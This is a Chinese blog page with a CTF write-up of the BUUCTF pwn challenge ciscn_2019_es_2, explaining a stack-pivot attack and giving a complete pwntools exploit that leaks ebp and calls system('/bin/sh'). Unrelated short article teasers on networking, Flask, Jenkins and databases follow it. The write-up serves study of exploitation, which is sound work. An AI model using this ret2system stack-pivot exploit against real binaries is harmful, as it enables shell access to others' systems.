当前位置: 首页 > news >正文

【PWN · 栈迁移】[BUUCTF]ciscn_2019_es_2

第一道栈迁移题目,跌跌撞撞理解了


前言

当前溢出可用空间比较少时(极端情况下仅能覆写ebp和ret),可以通过栈迁移的方式,扩大shellcode的容纳空间,其核心是将esp移动到一段shellocode开头。而esp总是由ebp赋值,所以总是通过两次leave;ret的方式修改esp到固定位置。


一、代码审计

Untitled

Untitled

有两次读入操作。read进的内容超过字符串的长度,存在栈溢出漏洞。然而计算溢出长度,发现只有8字节,即刚好可以覆写ebp和ret。


Untitled

发现system的函数(意味着plt对应的表项存在),然而这个hack函数并不能给出flag。是个tricky。


二、思路与过程

这里采用栈迁移的方式,拓展可构造rop链的空间。

思路是这样的:修改esp为新一处地址→前提需要修改ebp为劫持目标地址(ebp给esp赋值)→这意味着要知道(泄露)栈地址。因此:

具体操作可看这个大神的blog:[BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)_buuojpwn栈空间不足_Y-peak的博客-CSDN博客

  1. 泄露ebp(main_ebp)地址 —— 通过第一个read实现
  2. 计算劫持目标地址
  3. 修改ebp为劫持目标地址、修改ret为leave;ret地址 —— 通过第二个read实现


三、EXP 

from pwn import *
from pwn import u32,p32context.log_level='debug'io=process('./pwn')
io=remote('node4.buuoj.cn',26158)
# context.terminal = ['tmux','splitw','-h']
# gdb.attach(proc.pidof(io)[0],gdbscript="b main")elf=ELF('./pwn')
call_system=0x8048559
#这里没用system_plt的地址,而是用了call _system的地址,意味着参数紧跟该地址之后,不需要空四个字节
leave_ret=0x80484b8
#修改ebp以及ret,然而我们要知道具体的ebp的内容的值#①所以第一次read输入是为了泄露ebp
payload=b'a'*0x27+b'b'
io.recvuntil(b'name?\n')
io.send(payload)
# main_ebp=u32(io.recvuntil(b'\xf7')[-4:])
io.recvuntil(b'aaab')
main_ebp=u32(io.recv(4))
print(hex(main_ebp))
io.recv()#②第二次read则是为了在栈上填充信息,修改ebp和ret后esp将迁移
# payload=(b'this'+p32(call_system)+b'that'+b'/bin/sh\x00').ljust(0x28,b'a')  
# 上面的payload用于本地调试时,找到偏移量0x38和0x28
payload=(b'this'+p32(call_system)+p32(main_ebp-0x2c)+b'/bin/sh\x00').ljust(0x28,b'a')
#call _system,参数紧跟其后,无需空开一个字长
payload+=p32(main_ebp-0x38)
payload+=p32(leave_ret)
io.sendline(payload)io.interactive()

总结

接触到高级一些的栈溢出内容,需要多做题予以巩固。

相关文章:

【PWN · 栈迁移】[BUUCTF]ciscn_2019_es_2

第一道栈迁移题目,跌跌撞撞理解了 前言 当前溢出可用空间比较少时(极端情况下仅能覆写ebp和ret),可以通过栈迁移的方式,扩大shellcode的容纳空间,其核心是将esp移动到一段shellocode开头。而esp总是由ebp赋…...

网络编程(13): 网络通信常用命令(后续待补充)

ifconfig 一般用于查看网卡信息 ping 一般用于侦测本机到目标网络主机的网络是否通常: ping ip/域名 telnet 可以用于指定ip地址和端口的侦听服务是否存在:telnet ip port, 也可以模拟客户端给服务器发数据 netstat 用于查看网络连接状态 -a: 显示所有选项 -t&#…...

flask创建数据库连接池

flask创建数据库连接池 在Python中,您可以使用 Flask-SQLAlchemy 这个扩展来创建一个数据库连接池。Flask-SQLAlchemy 是一个用于 Flask 框架的 SQLAlchemy 操作封装,实现了 ORM(Object Relational Mapper)。ORM 主要用于将类与数据库中的表建立映射关系…...

C语言手撕顺序表

目录 一、概念 1、静态顺序表:使用定长数组存储元素。 2、动态顺序表:使用动态开辟的数组存储 二、接口实现 1、对顺序表的初始化 2、对数据的销毁 3、对数据的打印 4、检查是否需要扩容 5、尾插 6、头插 7、尾删 8、头删 9、在pos位置插入x …...

常见的排序算法

常见的排序算法 常见的排序算法包括: 冒泡排序(Bubble Sort):依次比较相邻的元素,将较大的元素交换到右侧,逐步将最大元素移动到末尾。插入排序(Insertion Sort):将数组…...

C#如何使用SQLite数据库?

文章目录 0.引言1.SQLite工具准备2.创建窗体项目并添加SQLite的命名空间3.编写使用SQLite代码4.结果展示 0.引言 SQLite是一个轻量级的嵌入式数据库,它的库文件非常小巧,不需要独立的服务器进程或配置。这使得它非常适合在资源受限的环境中使用&#xff…...

如何将表格中的状态数据转换为Tag标签显示

考虑到系统前端页面的美观程度,通常通过Tag标签来代替某条数据中的状态信息。仅通过一点操作,便能够使得页面美观程度得到较大提升,前后对比如下所示。代码基于Vue以及Element-ui组件实现。 修改前: 修改后: 修改前…...

centos中修改防火墙端口开放配置

1、直接进入文件修改 vim /etc/sysconfig/iptables 2、添加需要开放的端口 (1)添加需要开放的单个端口 4001 -A INPUT -m state --state NEW -m tcp -p tcp --dport 4001 -j ACCEPT (2)添加需要开放的某个网段端口 4001:4020 …...

程序设计 算法基础

✅作者简介:人工智能专业本科在读,喜欢计算机与编程,写博客记录自己的学习历程。 🍎个人主页:小嗷犬的个人主页 🍊个人网站:小嗷犬的技术小站 🥭个人信条:为天地立心&…...

【数据结构】之十分好用的“链表”赶紧学起来!(第一部分单向链表)

💐 🌸 🌷 🍀 🌹 🌻 🌺 🍁 🍃 🍂 🌿 🍄🍝 🍛 🍤 📃个人主页 :阿然成长日记 …...

ubuntu开机自启动

ubuntu开机自启动 1、建一个test.sh脚本,并写入 #!/bin/sh gnome-terminal -x bash -c ‘cd /home/文件路径/;python3 main.py’ exit 0 2、:wq!保存 3、创建rc-local.service文件(sudo vim /etc/systemd/system/rc-local.service)&#xf…...

Git将其他分支合并至主分支

主要思想: 把分支代码合并到master,合给谁,就先切换到谁的分支 1. 当前分支是dev,开发完成后,需要合并到master分支 先把该提交的提交,需要push的push完成后,再切换分支。 否则也会告诉你要提交…...

Python+request+pytest 接口自动化测试框架入门(与unittest的比较)

1. Pythonrequestpytest 接口自动化测试框架入门 - 简书 pytest和unittest的比较: pytest是一个非常成熟的全功能的Python测试框架,主要有以下几个特点: 简单灵活,容易上手支持参数化能够支持简单的单元测试和复杂的功能测试&a…...

数据结构——复杂度

总有一天你要一个人,再暗夜中,向那座桥走过去 文章目录 一、算法的复杂度 考察形式范例 二、算法的时间复杂度 大O的渐进表示法 常见的复杂度对比 例题:消失的数字 题目的三种思路 1.排序遍历 2.减法 3.单身狗思想 三、空间复杂度…...

使用goldengate 迁移Oracle到postgresql

环境: --源端: IP:10.0.4.16 hostname:tencent Oracle数据库版本:12.2.0.1.0 ogg for oracle版本:19.1.0.0.4 SID:orcl --目标端: IP:10.0.4.16 hostname&#…...

ESP-C3入门20. CentOS开发环境及Jenkins流水线

一、准备环境 CentOS8已经正常安装Jenkins 二、升级 cmake cmake 升到 3.16以上。 cmake --version # 安装 g sudo yum install gcc-c export CXXg# 安装 CMake 的依赖项 sudo yum install -y openssl-devel# 下载 CMake 源码并进行编译安装 wget https://github.com/Kitwa…...

服务器被爬虫恶意攻击怎么办?

在有预算的情况可以采购第三方服务防火墙,没钱就使用开源的WAF进行防护。 # WAF防火墙的基本防护原理 WAF(Web 应用防火墙)可以使用多种技术来防止恶意爬虫攻击,例如: 1. 黑名单:WAF 可以使用黑名单技术来…...

JavaScript正则表达式之座机号/手机号验证校验规则

引用:https://www.bilibili.com/read/cv18300539/ 本文对利用正则表达式对手机号码进行了验证 支持格式: 座机 :xxx-xxxxxxxx、xxxxxxxxxxxx …座机区号的横杠可有可无 手机:xxxxxxxxxxx JavaScript: var: checkPhone (rule,…...

黑客学习手册(自学网络安全)

一、首先,什么是黑客? 黑客泛指IT技术主攻渗透窃取攻击技术的电脑高手,现阶段黑客所需要掌握的远远不止这些。 二、为什么要学习黑客技术? 其实,网络信息空间安全已经成为海陆空之外的第四大战场,除了国…...

获取非叶子节点的grad(retain_grad()、hook)【为了解决grad值是None的问题】

在调试过程中, 有时候我们需要对中间变量梯度进行监控, 以确保网络的有效性, 这个时候我们需要打印出非叶节点的梯度, 为了实现这个目的, 我们可以通过两种手段进行, 分别是: retain_grad()hook 不过我感觉“hook”比“retain_grad()”要麻烦.....,所以我感觉还是…...

JMeter(八):响应断言详解

响应断言 :对服务器的响应进行断言校验 (1)应用范围: main sample and sub sample, main sample only , sub-sample only , jmeter variable 关于应用范围,我们大多数勾选“main sample only” 就足够了,因为我们一个请求,实质上只有一个请求。但是当我们发一个请求时,…...

【网络编程】IO复用的应用一:非阻塞connect

在connect连接中,若socket以非阻塞的方式进行连接,则系统内设置的TCP三次握手超时时间为0,所以它不会等待TCP三次握手完成,直接返回,错误为EINPROGRESS。   所以,我们可以通过判断connect时返回的错误码是…...

Spring注解开发,bean的作用范围及生命周期、Spring注解开发依赖注入

🐌个人主页: 🐌 叶落闲庭 💨我的专栏:💨 c语言 数据结构 javaweb 石可破也,而不可夺坚;丹可磨也,而不可夺赤。 Spring注解开发 一、注解开发定义Bean二、纯注解开发Bean三…...

C#设计模式之---原型模式

原型模式(Prototype Pattern) 原型模式(Prototype Pattern) 是用原型实例指定创建对象的种类,并且通过拷贝这些原型创建新的对象。原型模式是一种创建型设计模式。也就是用一个已经创建的实例作为原型,通过…...

STM32入门学习之外部中断

1.STM32的IO口可以作为外部中断输入口。本文通过按键按下作为外部中断的输入,点亮LED灯。在STM32的19个外部中断中,0-15为外部IO口的中断输入口。STM32的引脚分别对应着0-15的外部中断线。比如,外部中断线0对应着GPIOA.0-GPIOG.0,…...

Jenkins 配置maven和jdk

前提:服务器已经安装maven和jdk 一、在Jenkins中添加全局变量 系统管理–>系统配置–>全局属性–>环境变量 添加三个全局变量 JAVA_HOME、MAVEN_HOME、PATH 二、配置maven 系统管理–>全局工具配置–>maven–>新增 新增配置 三、配置JDK 在系统管…...

Leetcode | Binary search | 22. 74. 162. 33. 34. 153.

22. Generate Parentheses 要意识到只要还有左括号,就可以放到path里。只要右括号数量小于左括号,也可以放进去。就是valid的组合。recurse两次 74. Search a 2D Matrix 看成sorted list就好。直接用m*n表示最后一位的index,并且每次只需要 …...

生命在于折腾——面试问题汇总

这里面的问题都是我参加面试时候遇到的问题,大家就这样看吧。 一、个人情况 1、自我介绍 2、为什么离开上一家公司 3、有没有参加过HVV 4、介绍一下上家公司的项目 5、小程序和公众号渗透测试做过么 6、实习工资多少 7、有挖过漏洞么 二、基础知识 1、信息收集的…...

<Java>Map<String,Object>中解析Object类型数据为数组格式

背景&#xff1a; 前端&#xff1a;入参为字符串和数组类型&#xff1b;通过json字符串传给后台&#xff0c; 后台&#xff1a;后台通过工具解析为Map<String&#xff0c;Object>&#xff0c;然后需要解析出Map里面的数组值做操作&#xff1b; 需求&#xff1a; 入参&…...

别再分库分表了,试试TiDB!

什么是NewSQL 传统SQL的问题 升级服务器硬件 数据分片 NoSQL 的问题 优点 缺点 NewSQL 特性 NewSQL 的主要特性 三种SQL的对比 TiDB怎么来的 TiDB社区版和企业版 TIDB核心特性 水平弹性扩展 分布式事务支持 金融级高可用 实时 HTAP 云原生的分布式数据库 高度兼…...

做垃圾站采集国外网站/百度服务中心

Eclipse代码里面的代码提示功能默认是关闭的&#xff0c;只有输入“.”的时候才会提示功能Win配置和Mac配置基本一致.用过其他编辑器的用户可能不太习惯这种&#xff0c;普遍编辑器是输入任何字母都会提示&#xff0c;下面说一下如何修改eclipse配置&#xff0c;开启代码自动提…...

网站设计 网站建设 手机网站建设/长沙网站制作推广

SA12226242 施健 信息安全 导读 在深入理解Linux之前&#xff0c;我们需要了解计算机是如何工作的。使用Example的c代码分别生成.cpp,.s,.o和ELF可执行文件&#xff0c;并加载运行&#xff0c;分析.s汇编代码在CPU上的执行过程。 一、C语言的编译过程 1.1 C语言的编译过程 由于…...

做百度推广这什么网站找客服的/福州seo按天付费

本讲主要介绍PMBOK前三章中的重要知识点&#xff0c;帮助你进一步理解。 本讲目录 一、项目发起人 二、商业论证 三、项目治理 四、PMO的工作权利和责任 五、工作绩效数据、信息、报告 一、项目发起人 【出处】 PMBOK P65&#xff0c;1.2.6 项目管理商业文件。 项目发起…...

没有营业执照可以做网站吗/邵阳疫情最新消息

为什么不使用opacityCSS3 还允许通过opacity 声明来设置元素的透明度。该透明度的值也是一个介于0 到1 之间的小数&#xff08;如将opacity 设置为0.1 表示为10%透明&#xff09;。但是这种透明度与RGBA 及HSLA 有所不同&#xff0c;这种方式设置的透明度会对整个元素产生影响&…...

如何建立网站自己做站长/网站提交入口大全

软件测试是确保软件质量的可靠手段&#xff0c;是软件开发过程中必不可少的重要环节。本文提出了面向复用的测试用例设计过程&#xff0c;为测试用例复用提供了实现策略。测试用例的复用对于缩短软件开发周期和降低软件开发成本具有极其重要的意义。 1、引言 随着软件工程领域的…...

wordpress hooks/优化关键词的方法正确的是

【实例简介】android 校园教务管理系统&#xff0c;内有课程表&#xff0c;选课等等一系列功能【实例截图】【核心代码】Android教务选课成绩管理系统└── 双鱼林安卓Android教务选课成绩管理系统├── AndroidManifest.xml├── libs│ └── android-support-v4.jar├…...